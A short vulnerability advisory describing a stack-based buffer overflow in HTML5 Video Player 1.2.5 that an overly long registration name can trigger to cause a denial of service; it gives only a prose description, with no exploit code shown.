HTML5 Video Player 1.2.5 – Denial of Service (PoC)

A buffer overflow vulnerability exists in HTML5 Video Player 1.2.5, which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when handling a specially crafted registration name. This can be exploited to cause a stack-based buffer overflow via an overly long, specially crafted registration name.
